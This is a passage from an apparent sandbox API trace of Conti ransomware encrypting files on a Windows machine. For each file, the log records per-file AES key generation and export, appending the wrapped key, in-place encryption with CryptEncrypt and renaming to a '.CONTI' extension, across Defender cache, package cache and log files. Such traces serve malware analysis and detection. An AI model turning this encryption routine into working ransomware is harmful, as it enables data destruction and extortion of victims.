	[0116.243] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0116.824] GetProcessHeap () returned 0x1720000
	[0116.824] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6880810 | out: hHeap=0x1720000) returned 1
	[0116.824] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0116.824] GetProcessHeap () returned 0x1720000
	[0116.824] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ca510 | out: hHeap=0x1720000) returned 1
	[0116.824] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0116.824] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b53de0 | out: phKey=0x6b53de0*=0x6b7f238) returned 1
	[0116.824] CryptExportKey (in: hKey=0x6b7f238, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53de4, pdwDataLen=0x497fc1c | out: pbData=0x6b53de4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0116.827] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83")) returned 0x820
	[0116.827] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0116.828] GetLastError () returned 0x0
	[0116.828] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=1933112) returned 1
	[0116.828] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d7f38
	[0116.828] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.828] SetEndOfFile (hFile=0x3f8) returned 1
	[0116.828] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.828] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.828] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b53de4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b53de4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0116.831] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.831] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1d7f38, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1d7f38, lpOverlapped=0x0) returned 1
	[0118.709] CryptEncrypt (in: hKey=0x6b7f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1d7f38, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1d7f40) returned 1
	[0118.711] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.712] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1d7f40, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1d7f40, lpOverlapped=0x0) returned 1
	[0118.719] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.719] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b53dd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b53dd8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0118.719] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.719] CloseHandle (hObject=0x3f8) returned 1
	[0118.719] GetProcessHeap () returned 0x1720000
	[0118.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.720] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83"
	[0118.720] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83.CONTI"
	[0118.720] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83.conti")) returned 1
	[0118.721] GetProcessHeap () returned 0x1720000
	[0118.722] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.722] CryptDestroyKey (hKey=0x6b7f238) returned 1
	[0118.722] GetProcessHeap () returned 0x1720000
	[0118.722] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b530 | out: hHeap=0x1720000) returned 1
	[0118.722] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0118.722] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x65d0530 | out: phKey=0x65d0530*=0x6b7f238) returned 1
	[0118.722] CryptExportKey (in: hKey=0x6b7f238, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0534, pdwDataLen=0x497fc1c | out: pbData=0x65d0534*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0118.723] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi")) returned 0x20
	[0118.724] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0118.724] GetLastError () returned 0x0
	[0118.724] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=147456) returned 1
	[0118.724] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x24000
	[0118.725] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.725] SetEndOfFile (hFile=0x3f8) returned 1
	[0118.725] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.725] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.725] WriteFile (in: hFile=0x3f8, lpBuffer=0x65d0534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x65d0534*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0118.726] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.726] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x24000, lpOverlapped=0x0) returned 1
	[0118.727] CryptEncrypt (in: hKey=0x6b7f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x24000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x24010) returned 1
	[0118.728] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.728] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x24010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x24010, lpOverlapped=0x0) returned 1
	[0118.728] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.728] WriteFile (in: hFile=0x3f8, lpBuffer=0x65d0528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x65d0528*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0118.728] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.728] CloseHandle (hObject=0x3f8) returned 1
	[0118.728] GetProcessHeap () returned 0x1720000
	[0118.728] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.729] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi"
	[0118.729] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI"
	[0118.729] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.conti")) returned 1
	[0118.729] GetProcessHeap () returned 0x1720000
	[0118.729] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.729] CryptDestroyKey (hKey=0x6b7f238) returned 1
	[0118.729] GetProcessHeap () returned 0x1720000
	[0118.729] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3e08 | out: hHeap=0x1720000) returned 1
	[0118.729] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0118.730] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x65d1e48 | out: phKey=0x65d1e48*=0x6b7f238) returned 1
	[0118.730] CryptExportKey (in: hKey=0x6b7f238, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d1e4c, pdwDataLen=0x497fc1c | out: pbData=0x65d1e4c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0118.730] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab")) returned 0x20
	[0118.730] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0118.731] GetLastError () returned 0x0
	[0118.731] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=5588256) returned 1
	[0118.731] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x554520
	[0118.731] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.731] SetEndOfFile (hFile=0x3f8) returned 1
	[0118.731] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.731] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.731] WriteFile (in: hFile=0x3f8, lpBuffer=0x65d1e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x65d1e4c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0120.292] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.292] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x500000, lpOverlapped=0x0) returned 1
	[0123.433] CryptEncrypt (in: hKey=0x6b7f238, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x500000) returned 1
	[0123.439] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.440] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x500000, lpOverlapped=0x0) returned 1
	[0126.465] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x54520, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x54520, lpOverlapped=0x0) returned 1
	[0126.659] CryptEncrypt (in: hKey=0x6b7f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x54520, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x54530) returned 1
	[0126.659] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.659] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x54530, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x54530, lpOverlapped=0x0) returned 1
	[0128.778] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.778] WriteFile (in: hFile=0x3f8, lpBuffer=0x65d1e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x65d1e40*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0128.779] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.779] CloseHandle (hObject=0x3f8) returned 1
	[0128.779] GetProcessHeap () returned 0x1720000
	[0128.779] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.780] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab"
	[0128.780] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI"
	[0128.780] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.conti")) returned 1
	[0128.781] GetProcessHeap () returned 0x1720000
	[0128.781] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.781] CryptDestroyKey (hKey=0x6b7f238) returned 1
	[0128.781] GetProcessHeap () returned 0x1720000
	[0128.781] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cde50 | out: hHeap=0x1720000) returned 1
	[0128.781] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0128.781] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b53708 | out: phKey=0x6b53708*=0x17c8230) returned 1
	[0128.781] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5370c, pdwDataLen=0x497fc1c | out: pbData=0x6b5370c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0128.783] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.007.etl")) returned 0x2020
	[0128.783] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0128.783] GetLastError () returned 0x0
	[0128.783] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=8192) returned 1
	[0128.784] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0128.784] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.784] SetEndOfFile (hFile=0x3f8) returned 1
	[0128.784] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.784] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.784] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b5370c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b5370c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0128.785] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.785] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2000, lpOverlapped=0x0) returned 1
	[0128.786] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2010) returned 1
	[0128.786] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.786] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2010, lpOverlapped=0x0) returned 1
	[0128.786] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.786] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b53700*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b53700*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0128.786] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
